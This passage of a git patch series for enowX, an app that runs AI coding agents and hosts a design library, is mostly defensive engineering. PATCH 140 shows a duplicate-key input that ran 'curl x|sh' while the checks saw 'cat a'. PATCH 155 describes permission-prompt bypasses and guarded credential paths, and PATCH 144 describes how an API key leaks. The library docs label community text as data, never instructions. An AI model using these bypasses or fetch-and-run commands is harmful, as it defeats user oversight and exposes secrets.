+At publish, `library.publish` has the app render a design that moves, unless the form says not to, with `canvas.video` and `preview`: 6 seconds at most, 720 pixels wide, smaller than an export, left in no folder of the user's. It needs a serving app, a web view and ffmpeg: without them, or if it comes out too big, the design goes without one and nothing else changes.
+
+It's part `video`: 4 MiB, 15 seconds, only on a design that moves. The cloud reads the file's boxes (`designshare.CheckVideo`) and refuses anything but an MP4 of video tracks alone, so a preview can't carry sound. Like a picture it comes from the host: moderators see it in review, and a trusted account's isn't reviewed first.
+
+The website serves it at `/v/<id>/<version>`, with the headers of `/t/*`, no cookie, and byte ranges for Safari. A card shows its picture until a mouse rests on it, muted; a design's page has a Video button with the picture first. Nothing is fetched until then, and asking for less motion stops the hover.
+
+## Announcing picks
+
+An admin says a pick on Discord from the admin page's Picks tab, with `DecisionAnnounce`. It's off unless a channel is set, for the owner and admins (not moderators they appoint), only for a live pick, once (`announced_at`), with its reason in the log. A failure is logged and can be tried again. A title is escaped and mentions are off, so it can neither ping anyone nor make a link. Which channel, and the bot's permission to post in it, wait for the owner.

Subject: [PATCH 109/222] Wire export to repo in the app, listing what the
 daemon will write

The list shown first and the export named files apart, and differed on a second
document of one title. Overwrite is offered only for a foreign file: a secret
found is never written, forced or not.

Subject: [PATCH 110/222] Return from wait only at a turn's true end

A Stop was recorded as done before anything decided whether the agent went on,
so wait, and GOA's lines, saw done while a hook or GOA's lines kept it working,
or with its background tasks still running. Done now comes after that decision.
Wait also took a working state gone stale, a long quiet step, for idle, and done
at first sight: it now wants done held with the screen still, and a quiet agent
with hooks must be quiet far longer.

Subject: [PATCH 111/222] Leave a pop-up list that fits outside any scroller

A scroller must keep a gutter for its bar, which layout audits hold it to, and
a short menu has no use for one. It becomes a scroller only once it is taller
than its room.

Subject: [PATCH 113/222] Join up Claude Platform's agent with enowX's side

A hook's rewrite runs rather than refusing the call, now that the agent can
take one, and the person asked sees what would really run. The chat's ask shows
the whole command. Paths follow ENOWX_HOME as the daemon's do, tool events are
made where every agent's are, and the slash menu lists the agent's own commands.

Subject: [PATCH 114/222] Let a host read the community library, and keep
 sending to the app's form

The app and agents need search, an item, its prompt and its picture, through the cloud the user set. A picture was behind the website's secret, so the cloud gets a public route for pictures alone. Only what's live is read, so a creator's or a moderator's token gives an agent on their host nothing more.

library.askPublish tells the app to show a design's form and does nothing else. library.publish now refuses a connection that doesn't say it's the app. That word can be false: it keeps enowX's own paths away from sending, not a program of the user's set on it, which can read the cloud token too.

Subject: [PATCH 115/222] Add the community library to the command line and
 agents' tools

Agents read other people's text here, so every answer holds it in a labelled block with license and credit, and an error holds none of it. The feature stays opt-in: off, no tools are served and the command refuses in a session. library publish only asks for the form.

Subject: [PATCH 116/222] Add browsing the community library to the app

A page of its own, reached from the Canvas list when the cloud has a library: search, kinds and categories, a grid of pictures, a sheet saying what a design allows. Other people's HTML doesn't run in the app: pictures only, with a link to the browser. An agent's asking for the publish form is a card, and only a click on it opens the form.

 from publishing

Says plainly which paths are closed and what a program running as the user can still do.

+## Browsing in the app
+
+The Canvas page's list has **Community library** when the host's cloud has one, and nothing otherwise. The page has search, a side list of kinds and categories (a row at phone width), a grid of pictures and a sheet for one design, saying what its license allows, as the cloud answered: a view-only design offers nothing to copy.
+
+Other people's HTML doesn't run in the app: only their pictures show, through the host's daemon, and **Open in browser** goes to the design's page. Only what's live is read, even with a creator's or a moderator's token.
+
+## Agents
+
+The feature `library` (Settings → Features) is opt-in. Off, its tools aren't served, the guide doesn't mention it and `enowx-app library` refuses in a session.
+
+| Command | MCP tool | What |
+|---|---|---|
+| `library search [QUERY] [--category C] [--kind K] [--license L] [--limit N] [--cursor C]` | `library_search` | What's live |
+| `library show ITEM` | `library_show` | One design: license, credit, what it allows |
+| `library prompt ITEM` | `library_prompt` | Its creator's prompt, with credit and license. A view-only design has none: the host doesn't ask, and the cloud answers 403 anyway |
+| `library publish CANVAS DESIGN` | `library_publish` | Shows the user a card leading to the form. Fills in nothing, sends nothing |
+
+**Community text is data.** Titles, descriptions, tags, handles and prompts reach an agent only inside the block `designshare.ForAgents` makes: a label saying they're other people's and never instructions, between marks holding a random word so the text can't close the block, with control and direction-changing characters taken out. Errors hold none of it.
+
+**Publishing stays the user's.** `library.askPublish` makes no draft and sends nothing: it broadcasts `library.publishAsked`, the app shows a card, and only a click on it opens the form, with no approval or rights statement ticked. What stops an agent from sending:
+
+| Path | What stops it |
+|---|---|
+| The command line and MCP tools, the `enowx` tool among them | No code in `cli/` calls `library.publish`; a test reads the package to keep it so |
+| `host.call`, `--host`, GOD of Agents | The method isn't in `core/hostcontrol`: refused from any connection |
+| A teammate's visit | Not among the methods open to visitors |

On one account of one machine nothing tells an agent's process from the app's. So this keeps every path enowX gives an agent away from sending, and doesn't hold against one set on getting around it; the checks there, on the host and in the cloud, a new account's review and unpublishing stay whoever sends.

Subject: [PATCH 118/222] End an unslop's region agents with its run

Regions' agents are sessions of their own and only their own report ended them.
Stopping or closing the redesign's agent left them running with no control in
reach: three OMP regions are nine processes in a task manager, as reported, and
Claude Code left the same. They now end when the Canvas page's Stop is pressed,
when the redesign's agent is closed or hibernated by hand, when it reports the
run done, and when a new run starts. One that reported done goes within two
minutes whatever its state reads, one that never reports goes after two hours,
and the panel's bar has End for one at a time. The CLI's canvas chat no longer
takes a region's agent for the canvas's own.

Subject: [PATCH 119/222] Start a page's agent anew when its conversation left
 with its session

OMP keeps its conversations in the session's own folder, deleted with it. The next
message on a canvas asked it to resume one, so it said "not found" and exited, and
the first prompt was typed into the shell left behind.

Subject: [PATCH 120/222] Say which code allocates in a profile, and walk pages
 without drawing

What a program allocates makes it collect and take CPU, and where it comes from isn't what holds the heap. A development build can take page steps without a Tester's off-screen picture, whose own memory counted in the measures.

Subject: [PATCH 121/222] Attach a session's terminal when it shows, and leave
 it out of sight

The app attached every session of a host on connecting, each holding up to 10 MB of scrollback and parsing all it printed, seen or not. The daemon holds it all anyway. Numbers in docs/performance.md.

Every element with an ID made a row, each holding about 30 KB of drawing state: a page of 2,000 took 100 MB of the Go heap, kept while the page was open. Numbers in docs/performance.md.

Subject: [PATCH 124/222] Return memory to the system after a burst, and bound
 the Go heap

Go keeps a burst's memory for minutes. A look every 30 s returns what is free once it passes 32 MiB, and a limit of 1 GiB makes a burst collect sooner rather than take gigabytes of address space. GOMEMLIMIT in the environment stands. Numbers in docs/performance.md.

Subject: [PATCH 125/222] Add creators' profiles, open for work, likes,
 collections and follows

The library showed designs but not the people behind them. A profile shows only
what its creator chose; contact is a link alone, as the site has no messages. The
open for work list needs a live design, so an account made to post a link has
nothing to list it by.

A hidden creator's designs leave every list but stay at their addresses with their
credit, since links and copies may need it under their license. What someone likes,
who they follow and a private collection answer their owner alone, moderators
included.

Subject: [PATCH 126/222] Keep who contributed to enowX, for the library's
 badge

The Cloud finds contributors already, for the Contributor role and the default team,
but forgot them at once. A badge read on every profile needs them kept, so that a
profile's read calls neither GitHub nor Discord. Only what the Cloud verified counts:
a signed webhook, the role's sign-in, or GitHub's list as it reads it anyway.

Subject: [PATCH 127/222] Let a creator take their data out of the library, or
 delete it

Deleting goes through the existing purge, made due at once, and names only library
tables, so a Cloud account, its devices and its teams can't be touched. library_log
keeps its rows with the account's ID, being append-only. A blocked account's row stays
emptied, or deleting would be a way out of a block.

 Every decision needs a reason and goes in `library_log`, which the store can only add to: approving, rejecting (the reason reaches the app), taking down, picks, reports, blocks, unblocks, appointing and removing moderators. An upheld report takes the item down and makes its owner new again. Blocking takes down what an account shows and stops it publishing. Who reported is for moderators alone. Accounts' emails are never in an answer.
 
+## Creators
+
+A profile is made as an account first uses the library. Its name and picture are the account's; what else shows is the creator's choice, and off until chosen: GitHub is hidden unless turned on, numbers show unless turned off. A handle is 3 to 30 small letters, digits and single hyphens, changes once in 30 days, and can't be a reserved word or another account's GitHub login. Links and the contact are `http(s)` only, with no name, password or email in them, and a bio or skill holding an email is refused. An account's email is in no answer, an export included.
+
+**Open for work** is a flag, kinds of work, skills, a time zone and a contact link: a link and nothing else, as the site has no messages or forms. It needs that link, and the list (`GET creators?open=1`, by `kind`, `skill`, `zone`) also needs a live design, so an account made only to post a link has nothing to list it by. Turning it off, like hiding, goes through even past the rate limit.
+
+**Hiding.** A hidden or blocked profile answers just as one that doesn't exist, to all but its creator and moderators, and so do its items list and public collections. Its designs leave every list (browse, feed, others' public collections, the open for work list) but **stay at their addresses, with their credit**, as links and copies may need it under their license: the item says `unlisted`, and the website then keeps search engines off and links to no profile. Unpublishing is how a design goes away. Those who follow get it all back when the creator shows again. A collection's owner, and someone who liked a design, still see it in their own lists.
+
+**The contributor badge** isn't the creator's to set. `github_contributors` holds GitHub IDs the Cloud found to have contributed: a merged pull request in the Contributor role's repository (its signed webhook or its sign-in, see `docs/cloud.md`) or GitHub's list for the default team's repository, when the Cloud reads that anyway. No new call goes to GitHub or Discord for it. Someone who contributed earlier gets it at their next merge, Connect, or reading of the list.
+
+**Likes, collections, follows.** A like is `library_saves`, and `items.saves` counts them; one's own design can't be liked, nor oneself followed. What someone likes, who they follow, and a private collection answer their owner alone, moderators not excepted; others get only counts, and a private collection answers 404. All take a device or a web session, and a blocked account can only remove. The store's functions are plain to call, among them `LibraryFollowers` and `LibrarySavers`.
+
+| Limit | Number |
+|---|---|
+| Per account, a minute | 60 likes, 30 follows, 60 collection changes, 20 profile changes, 2 exports, 240 reads of one's own lists (in memory: a restart forgets them) |
+| Per account, in all | 100 collections, 500 designs in one, 2000 follows, 5000 likes |
+
+## Taking data out, and deleting it
+
+`GET me/export` answers a file of what the library keeps of the asker: profile with its settings, designs with their versions and prompts, likes, collections, follows, reports they made, and decisions about them without who decided. A design's files aren't in it: the app that published them has them.
+
+`DELETE me` takes the handle, typed, and deletes the profile, likes, collections, follows both ways and web sessions. Each design is unpublished and emptied, its address answering 410 for good, and its objects go by the sweep's purge, made due at once and run then, the rest on the next hourly sweep; that includes a design a moderator took down. **It touches no Cloud account, device, team or team file**, and signing in again starts an empty profile.
+
+Kept on purpose: `library_log`'s rows with the account's ID, as it's append-only, plus an `account.deleted` row; reports they made, for moderators, no longer naming them (those about them close); a blocked account's row, emptied, so that deleting isn't a way out of a block. Those who moderate give that up first. A new table holding an account's data has to join `DeleteLibraryAccount` and `LibraryExport` in `cloud/store/library_erase.go`.

Subject: [PATCH 129/222] Look at processes once for a restart plan, and only
 for a daemon left behind

Every app asked each host for a plan every 30 s whether a daemon was behind or not, and a plan looked at every process once per terminal session: on macOS that is a ps per session, half of what an idle daemon spent. Numbers in docs/performance.md.

Subject: [PATCH 130/222] Ask other hosts only as often as what shows needs

A watch asked each host for its sessions, projects and resource use every 15 s, and that last has the host look at all its processes. With the window out of focus nothing shows them: once a minute without the resource use, and at once on coming back. Events keep telling of sessions meanwhile.

Subject: [PATCH 131/222] Look at ports and processes less when sessions rest

Ports were looked at every 5 s whether or not anything could be opening one, which on macOS means lsof and ps. With every session at rest it is every 20 s, and what only follows processes reuses the last look when it is under 10 s old.

Subject: [PATCH 133/222] Answer a design's code, copy, reference and skill by
 each version's license

The gates are the API's: view only answers 403 and what a kind doesn't have isn't there. A license change applies from its version on, so each of these reads the version asked for, and only one that shows or showed can be asked for. A design at its 5 versions could never be updated: the oldest that neither shows nor waits now makes room.

Subject: [PATCH 134/222] Take designs from the library on a host: copies,
 references, skills

The daemon fetches through its cloud token alone. A copy is a new canvas with a Source, which never changes with the original. A reference's credit is kept beside the brief, not in it, since builds ask for a brief by its being there.

Subject: [PATCH 135/222] Add library open, ref and skill for the command line
 and agents

Every answer is labelled as someone else's data, and so is a copied canvas whenever an agent looks at it. A skill is only printed unless asked to be kept, since an agent then loads it by itself.

Subject: [PATCH 136/222] Open enowx:// links in the app, and say where a
 copied canvas came from

A link only opens a dialog showing what the host's cloud says of the item; nothing happens until the user says so. On Windows and Linux a launch bringing a link hands it to the running app by MyGo's lock and exits; a launch without one runs on as before, so enowX can still run twice.

+## Taking a design
+
+| What | Component | Full page | View only |
+|---|---|---|---|
+| Try the preview | yes | yes | yes |
+| Copy prompt (`prompt`) | yes | yes | 403 |
+| Use component (`code`) | yes | 404 | 403 |
+| Reference or skill (`reference`, `skill`) | 404 | yes | 403 |
+| Open in enowX (`source`) | yes | yes | 403 |
+
+The API is what refuses, not only the buttons. Each of these takes `?version=N` and answers by **that version's** license and kind: a license change applies from its version on, so an earlier version keeps what it allowed, and one that was view only stays so.
+
+- **Use component** answers the HTML and the CSS apart (split by the parser `core/canvas` uses), each opening with the notice, and the files they name, which don't come along as their rights may not be the design's. A title can't close the comment it's in.
+- **Open in enowX** makes a new canvas with the one design and its files, a `Source` (item, version, creator, license, address) and the notice in its page. It stays as it is when the original changes or goes; the canvas says when a newer version is out. It needs the host signed in to its cloud.
+- **Reference** keeps a full page's picture in a canvas's files and one credit line beside its brief (`Canvas.References`, apart from `Brief`, since builds ask for a brief by its being there). Nothing goes in the designs.
+- **Skill** is a `SKILL.md`: credit and license on top, the label, then colors, fonts and spacing matched value by value from the CSS, and the prompt in a fence it can't close. No code. Its description holds no word of the creator's, as agents load that line by themselves. It's installed through `core/envsync`: from the app's dialog, or by `library skill --install --agent NAME`; without `--install` the command only prints it.
+
+**It's other people's data.** Everything an agent or a command gets from the library says so (`designshare.OthersData`), and `canvas show` and `canvas brief` say it first for a copy or a reference.
+
+### Links
+
+The website opens `enowx://library/{open,reference,skill}?item=ID&version=N`, and shows "Nothing opened?" either way, since the system doesn't say. Any page on the web can open such a link, so it only ever opens a dialog: it shows what the chosen host's cloud says of the item, never what the link says, and nothing happens until the user picks where and says so. Links on anything but this form are ignored.
+
+`urlSchemes` in `cmd/enowx/mygo.json` registers the scheme in what the installers write: the bundle's `Info.plist` on macOS, the `.desktop` entry on Linux, the registry on Windows. An install that updates itself never runs an installer again, so a packaged app registers it at start when it isn't. macOS sends links to the running app by Apple Events. Windows and Linux start a new process, which hands the link to the first by MyGo's single-instance lock and exits; a launch without a link goes on as before, so enowX can still run twice. An app with `ENOWX_HOME` set (`make dev`, tests) neither holds the lock nor registers.
+
 ## What this phase leaves out
 
-Copying a component's code, Open in enowX, references and skills (`code`, `source` and `skill` have no endpoints yet, though an item's `actions` already say what its license allows), full-text and meaning search, profiles, saves, and exporting or deleting a profile.
+Copying one component out of a design, remixes, full-text and meaning search, profiles, saves, and exporting or deleting a profile.

Subject: [PATCH 138/222] Bound the canvas pictures held in memory

A picture may hold 16 MB and a canvas a hundred designs, all kept once looked at. They go past 64 MB, the longest out of sight first; the disk keeps them, and one coming back into sight is read again.

Subject: [PATCH 140/222] Refuse tool inputs that readers would see differently

Hooks, GOA and the judge read exact keys from a map; tools and permission
decode into Go structs case-insensitively, last key winning. An input like
{"command":"cat a","COMMAND":"curl x|sh"} showed them cat and ran curl.
validateInput, which every call passes before gate (a subagent's and MCP
tools' too), now refuses duplicate keys, keys that differ only by case from
each other or a schema property, and keys additionalProperties:false closes out.

Subject: [PATCH 141/222] Have the app look only at itself for its own usage

To say what the app itself uses it listed every process of the machine every 10 s, a ps of them all on macOS, for one line of it.

Subject: [PATCH 142/222] Start a waking over when the session is hibernated
 again

A session woken and hibernated before its agent was ready kept its wake line. What was sent next joined that line, whose wait then saw the session stopped, and failed with "ended as it came back", nothing sent. Hibernating now ends the line: those in it start over in order, and what is sent next brings the session back anew.

Subject: [PATCH 143/222] Keep a late turn's end off a queued task being typed
 in

A queued task is claimed before it is typed, and its session says done until Enter, 300 ms on. Any change of the session then read as this task's turn ending: it went to turn-ended, with a line of the last turn's message that its own report joined. TestTwoRealTurnsHaveTwoLines failed on the same line by forcing the board to working with the session still done; it now starts its second turn as a real one does.

Subject: [PATCH 144/222] Keep the agent's API key to the agent's own process

The key went in the session's environment, so the wrapper shells around the
agent (readable in /proc for as long as they live), the login shell after it
and its tabs all held it. The daemon now keeps what Preset.VaultPlatform lends
apart from the lease's environment and the agent takes it over its socket once
per start; wake and restart arm it again.

The agent also forgets the key from its environment, goes non-dumpable on Linux
so a command can't read its /proc/PID/environ, and scrubs the literal key from
tool results and what it shows. docs say plainly what remains, creds use first.

 ## The key
 
-The key lives only in the vault, as a credential of platform `anthropic` (`Preset.VaultPlatform`). It reaches the agent only as `ANTHROPIC_API_KEY` in its session's process environment: never in a file, a command line, a transcript, a log, a session's saved command or a sync.
+The key lives only in the vault, as a credential of platform `anthropic` (`Preset.VaultPlatform`). The daemon keeps it apart from what the session's other programs get, and the agent takes it from the daemon over the local socket as it starts (`vault.agentKey`, once per start): never in a file, a command line, a transcript, a log, a session's saved command, a sync, or the session's environment, which the wrapper shells around the agent, the login shell after it and its tabs would share.
+
+**What keeps it from the agent's own commands.** The tools' programs start without it (`tools.CleanEnviron`). The agent then forgets it from its environment (`os.Unsetenv`; the SDK reads the environment only as its client is made) and holds it in memory, and on Linux makes itself non-dumpable (`PR_SET_DUMPABLE` 0), so a command of the same user can't read its `/proc/PID/environ` or memory, or attach to it. Text a tool brings back, an MCP server's too, has the literal key replaced before the model, the record and the screen see it.
+
+**What that doesn't stop.**
+
+- **`"$ENOWX_BIN" creds use` is open to any command.** The vault lends a credential to whatever program asks in the session, by its design: a credential allowed on this host, or allowed by the user when asked, can be read by a command the model runs, this key included. The protections above stop accidents and prying through the process; they are not a sandbox between the model's commands and the vault. `vault.agentKey` itself is one-shot: a program racing the agent to it leaves the agent with no key, which says so.
+- **Linux's limit:** root and `CAP_SYS_PTRACE` still read the process. Non-dumpable lasts for the agent alone: a program it starts is dumpable again after its exec, which is why those start without the key. Enabling core dumps doesn't undo it.
+- **macOS and Windows have no such call used here:** a program of the same user can read the agent's memory (with the usual debugging rights) and, for a key given by hand, its starting environment (`ps eww` on macOS).
+- **A key given by hand or by a config:** run from a shell with `ANTHROPIC_API_KEY` set, or on a model API config, the key is in the environment the agent starts with, and so in that shell's or wrapper's environment. Unsetting changes only the agent's own view: `/proc/PID/environ` shows what it started with, which is what non-dumpable hides, for the agent and not for those others.
+- **Encoded forms:** only the literal key is replaced in text; base64 of it isn't.
 
 **Adding one.** Credentials → Add credential → Anthropic, or `enowx-app creds login anthropic`, which opens that form. Whether one is set: `vault.index` (`VaultIndex.Credentials`, any with `platform: "anthropic"`, no values there).
 
 **At a session's start** the daemon picks the credential from the host's index (the one scoped to the session's project, else the platform's default, else the first; `vault.AgentKey`), and asks the app for it with the session's other credentials (`vault.request`, action `session`), the same lending as `creds env` ([vault.md](vault.md)): the app answers at once on a host the credential may be used on, and otherwise asks the user: **Allow once**, **Always on HOST**, **Refuse**, naming Claude Platform and the host. The daemon keeps the value in memory for the session, masked wherever a session's screen, conversation or traffic is read, and the session keeps only the credential's name.
 
+**Tabs and other programs of the session** (Android runs, the Run menu's, a worktree's setup) get its other credentials as ever, but not this one, nor its name, so a restart doesn't lend it to them; a tab that is itself Claude Platform takes its own. Any credential of platform `anthropic` in such a session counts, a named or an automatic one too. Running `claude-platform` by hand in the session's shell after the agent left finds no key waiting: the session's next start has one.
+
 **Hibernating and waking** use what the daemon holds. **After a daemon restart** nothing is held and no app is connected yet, so a session that has a key waits, stopped, and continues by itself once an app serves the vault; waking one before that says it needs the app, rather than start with no key. A credential added since a session started is picked up the next time it starts.
 
 **With no credential,** or one refused, the session still starts, and the agent says what is missing.

Subject: [PATCH 145/222] Keep a session working while its turn ended with
 background tasks

Claude Code's Stop hook lists what still runs in the background. The session read
as done while it did, though the agent takes another turn once they end.

Subject: [PATCH 146/222] Show the agents in a session's background, found in
 its process tree

An agent's background agents ran with nothing in enowX saying so. The daemon already
follows each session's processes, so any agent's show there: a process whose
arguments name a preset's program, under another agent or left from the tree. Its
own wrapper, servers and MCP servers don't count, and a one-shot call lasts under a
look. The row and ls say them, wait goes on, and a helper isn't ended under them.

@@ -276,6 +276,24 @@ One at work or waiting on the user is never ended, nor one whose hooks have gone
 
 An unslop's regions' agents end with the run: when the Canvas page's Stop is pressed (its redesign's agent is only interrupted), when the redesign's agent is closed or hibernated by hand, when it reports the run done, and when a new run starts. The redesign's agent itself doesn't end by being left idle while they work. The panel's bar over a region's agent has **End**, for one at a time. Not helpers, and never ended by this: sessions the user starts, GOD of Agents and its workers, anything on its board, a teammate's session, a fan-out (its results wait to be compared), pipelines and automations (the session is their result), and tabs, which end with their session. Those left from before this are cleaned up the same way, at the first look after the daemon starts.
 
+## Agents in a session's background
+
+A session's row and `enowx-app ls` say which agents its agent has running besides itself (`SessionInfo.Background`): `background(N)` as its state in `ls` and `status`, their names in the row, each one's command, time and memory on hover. `wait` goes on while they run, and a helper isn't ended under them. Hibernate and updates don't name them yet, GOA's board doesn't show them, and only a process left from a session can be stopped alone, under Left running in Resource usage.
+
+**How they're found: the session's process tree, for any agent.** Every 15 seconds the daemon follows what each session started (`daemon/procs.go`); a process of it counts when its arguments name a preset's program (`agent.ProgramOf`), through an interpreter too (`node`, `bun`, `python`, `sh`), and it runs under another agent or left the tree. Its own agent doesn't count, nor a wrapper starting a binary of the same name, a server or a command, nor an agent's own MCP server. One that runs for under a look doesn't count, so a one-shot call isn't an alarm.
+
+**What it can't see, said plainly:**
+
+| What | Why |
+|---|---|
+| A subagent inside the agent's own process (Claude Code's Task tool, Codex's, OpenCode's, ...) | No process of its own. Only the agent's hook or transcript can say, and only Claude Code's is read (below). |
+| An agent that only runs at an API, on someone's cloud | Nothing runs here. |
+| An agent started by a CLI's own background service, as OpenCode's server | It isn't a child of the session. |
+| An agent named nothing a preset names, or run by an interpreter not listed | Its arguments name no agent. |
+| One that starts and leaves its tree between two looks | The tree never showed it. |
+
+**Per agent, on top of that:** Claude Code's Stop hook gives `background_tasks` (its background shells and subagents, checked on 2.1.318): a turn that ends with any running leaves the session working, and the turn it takes when they end makes it done. No other agent's hook is read for this.
+
 ## The model a session runs on
 
 The session list, `sessions` and `ls` show each agent session's project, path and model. The model is what the agent writes in its transcript with each answer, looked at every few seconds, so `/model`, a switch, a fallback and a config all show, Claude Code's `/model` at once and others with their next answer. An agent enowX reads no transcript of, or one that hasn't answered yet, reads "unknown model"; a stopped session shows the last it said, marked "(last)". A program started by hand in a shell tab is listed as the shell, with no model.

Subject: [PATCH 147/222] Search the library by words, and filter by what the
 server reads

Browse could only filter by kind, category, license and tag, and search was
a LIKE over titles. On Postgres a search now uses a weighted tsvector with a
GIN index, ranked unless another sort is asked for; SQLite stays with LIKE,
with the same meaning and order. A search of punctuation alone finds nothing,
so q=% no longer finds a title holding a %: it was never a wildcard, and the
index can't see it.

Filters add style, color, theme, device and motion, as parameters only. The app
sent none of these, so a filter would have found nothing: the server now reads
theme, device and dominant colors from the bundle at submit, kept per version,
and the form lets the creator pick a style. Reading is done without drawing,
so a design painted by its scripts reads as what its page says.

Searches have their own limit per address, browsers behind the website
counted apart, and hold a connection 3 seconds at most, so teams' sync keeps
its connections.

Subject: [PATCH 148/222] Find a session's conversation without reading it into
 memory

Saving a session asked for its conversation's file through the chat's reader, every 20 s while its screen changed: that read the whole conversation in and counted as a chat asking, so each agent at work held all of its conversation in the daemon for good. Finding the file now reads nothing of it.

Subject: [PATCH 149/222] List designs that look close beside the one under
 review

A moderator had no way to notice a copy of another design. At submit the
server hashes the picture (pure Go, as the cloud's image has no CGO), and the
queue lists near matches with the design, taken-down ones too, as a re-upload
is what matters most. It is advice only: nothing is refused, held or logged
by it. A near-blank picture has no hash, or every blank one would match every
other, and the queue says it couldn't be compared.

Subject: [PATCH 150/222] Add searching by meaning behind an embedder, off by
 default

Which embedder to use is the owner's decision, so this holds what doesn't
depend on it: an Embedder interface, an OpenAI-compatible client named only by
the environment, and vectors kept per live design. Only a design's public
title, description and tags leave, with what people search for.

On Postgres it needs pgvector, found at the start and turned on if the role
may; without it the library runs as before and says so in the log, as a cloud
must start without it and comparing every vector isn't for a shared server.
SQLite compares them itself, for tests and small clouds. /v1/info says
library-meaning only when it works.

The pgvector path hasn't run: the test server doesn't have the extension.

 That token opens `/v1/library` and nothing else, and can't publish. This path never joins the default team and starts no session of the cloud's own pages.
 
+## Searching and filtering
+
+`GET items` takes `q`, `category`, `kind`, `license`, `tag`, `style`, `color`, `theme`, `device`, `motion=1` and `sort` (`relevant`, `new`, `popular`, `featured`). Every value reaches the database as a parameter; one that isn't known finds nothing. A search ranks by how well it matches unless another sort is asked for.
+
+**Words.** On Postgres, a `tsvector` the database keeps itself (title first, then tags, then description, English stemming) with a GIN index; all words have to match, the last as a prefix. It needs Postgres 12 or later. SQLite, for tests and small clouds, uses LIKE with the same meaning and order.
+
+**What the server reads at submit, from the bundle and not from the host** (`designshare.LookOf`): the theme by the page's ground, the device by its width (600 or less is a phone; a phone version counts too), and up to three dominant colors, kept per version in `library_version_colors`. Nothing is drawn: a page's ground counts most, then backgrounds, then the rest, following CSS variables and utility classes. Scripts aren't read, so a design that paints itself from a script reads as what its page says. Style is the creator's pick in the form.
+
+**Load.** Searches share the few places of public reads, so teams' sync keeps its connections, hold a connection 3 seconds at most, and are limited to 60 a minute per address. Behind the website the browser's address is counted, which its secret vouches for.
+
+**By meaning.** Off unless an embedder is set, and on Postgres only with pgvector: found at the start, turned on if the database role may, and otherwise the library runs without it and says so in the log. `GET /v1/info` adds `library-meaning` only when it works, and the website shows **By meaning** only then. Vectors are kept in `library_embeddings`, every 5 minutes for what's new or changed, and dropped when a design stops showing. SQLite compares them in the server. What leaves for the embedder is a live design's title, description and tags and what people search for: never a prompt, a page, a picture or who asks. `GET search/meaning` is limited to 20 a minute per address, 2 calls to the embedder at once, 8 seconds each, holding no database connection meanwhile.
+
 ## Moderating
 
 The admin team's owner and admins moderate, and so do moderators the owner appoints from the website's admin page: only the owner can appoint or remove them. Moderators can't be blocked until the owner removes that role.
 
 Every decision needs a reason and goes in `library_log`, which the store can only add to: approving, rejecting (the reason reaches the app), taking down, picks, reports, blocks, unblocks, appointing and removing moderators. An upheld report takes the item down and makes its owner new again. Blocking takes down what an account shows and stops it publishing. Who reported is for moderators alone. Accounts' emails are never in an answer.
 
+**Similar designs.** At submit the server hashes the picture (a 64-bit perceptual hash, pure Go). The queue lists, with the design under review, up to 5 other designs within 10 bits, taken-down ones too. This is advice to check by hand: it refuses, holds and logs nothing, and a trusted account's lookalike still goes live without passing the queue. A near-blank picture has no hash, and the queue says it couldn't be compared.

Subject: [PATCH 152/222] Keep a conversation's mode and GOA's rules from
 changing by themselves

A plain --resume restored bypass with no flag, and any flag overrode a safer
saved mode, while enowX passed a maybe stale --permission-mode at every wake.
The saved mode now stands unless --permission-mode says otherwise; a saved bypass
returns only with a bypass flag; enowX starts a session again with
--permission-mode-if-new. GOA's mcp__enowx__ rules last for the run and /clear no
longer writes them as Allow records.

With nothing happening, an empty app drew 13 frames in 20 s, for its auto sync's look with no links, the conflicts' look and the daemon-behind one. Those now run on the main thread without a frame, and ask for one if they change something.

Subject: [PATCH 155/222] Close permission holes in reads, MCP hints,
 attachments and kept rules

An MCP server could grant itself no prompts with readOnlyHint. Read, Glob and
Grep read anywhere unasked, while a Task prompt or a hook's line could attach
any file by naming it. "Always" on one Write covered .git/hooks and ~/.ssh, and
Bash prefixes came from a deny list that missed setsid, busybox, uv run and more,
so they now come from a small allow list, with its escaping flags refused. An
edit allowed before hooks ran is judged again after them, for a swapped link.

 - **Guide and tools.** Its inject and guide in one system prompt (`--append-system-prompt-file`, a file of the session) and enowX's MCP server (`--mcp-config`), both in `agent-files/<session>/` so no command line holds them, as for Claude Code ([agents.md](agents.md)).
 - **State and events.** It calls the daemon itself (`session.hook`), on Windows too, using Claude Code's tool names: state, `prompt.start`, `tool.before` (whose answer it acts on: refuse, or run unasked), `tool.after`, `turn.done`, and the session's start and end. It has no hooks in its command line (`HookArgs` is nil), and it counts as reporting itself everywhere that matters: it is never marked done by a quiet screen, and "skip what nobody hears" doesn't apply. A tool event's command and paths are read as every agent's are (`hooks.ToolEvent`).

+- **Permission prompts** show on its screen and are answered by keys: `1` allow, `2` always, `3` or Esc deny. `Read`, `Glob` and `Grep` run unasked inside the session's folder, links followed; outside it they ask in every mode but bypass, plan mode included, for that call alone. An MCP tool always asks and plan mode refuses it, whatever its server's `readOnlyHint` says (the hint only lets its calls run side by side). "Always" on a `Write` or `Edit` keeps its name, which holds only inside the folder and outside guarded paths (`.git`, `.claude`, `.codex`, `.opencode`, `.mcp.json`, `.ssh`, `.config`, `.husky`, `.github`, `.gnupg`, `.aws`, every `.enowx*`); elsewhere it asks each time. For `Bash` it keeps a prefix only of a few plainly bounded commands (`git status`, `diff`, `log`, `show`; `go test`, `build`, `vet`; `npm test`; `make`; `ls`; `pwd`), and those not with flags that run other programs or write elsewhere (`go test -exec`, `git diff --output`, `make -f` and more); any other command is kept exactly. Conversations from before this keep their broader rules. A file is attached by naming it only in the user's own message, not in what the model or a hook wrote.
 - **A hook can't rewrite its call.** A user's hook that changes a command refuses the call instead, naming the command to run, as for Codex when it would ask.
 - **GOD of Agents** runs on it enforced by `tool.before` alone: it has no flag limiting its tools, and needs none, as every call goes by the daemon's answer first. GOA's lines reach it typed in when it is idle ([goa.md](goa.md)).
 - **Not offered:** rewinding from the chat and forking a session.

Subject: [PATCH 156/222] Find an agent that left its session's tree before a
 look saw it

A command started with nohup outlives its shell at once, and init takes it up. It
still bears its session's tag, where the system shows it; another daemon's sessions
on the host don't count.

Subject: [PATCH 158/222] Keep Claude Platform's screen moving while it works

A session's "working" lapses after 15 seconds of a still screen, so a long
command or a slow answer read as idle and `wait` returned while it ran. Its
status line now counts the seconds, as other agents' animate.

Subject: [PATCH 160/222] Keep enowxd stop SESSION from stopping the daemon

On a server, `enowxd stop ID`, the command line's way to stop one session's
agent, stopped the whole daemon and every session on it: the daemon's own
`stop` took the word whatever followed it. The app's program never did.

Subject: [PATCH 161/222] End a mode switch under way when another is asked for

Two goroutines cycling one session's modes at once could end on a mode
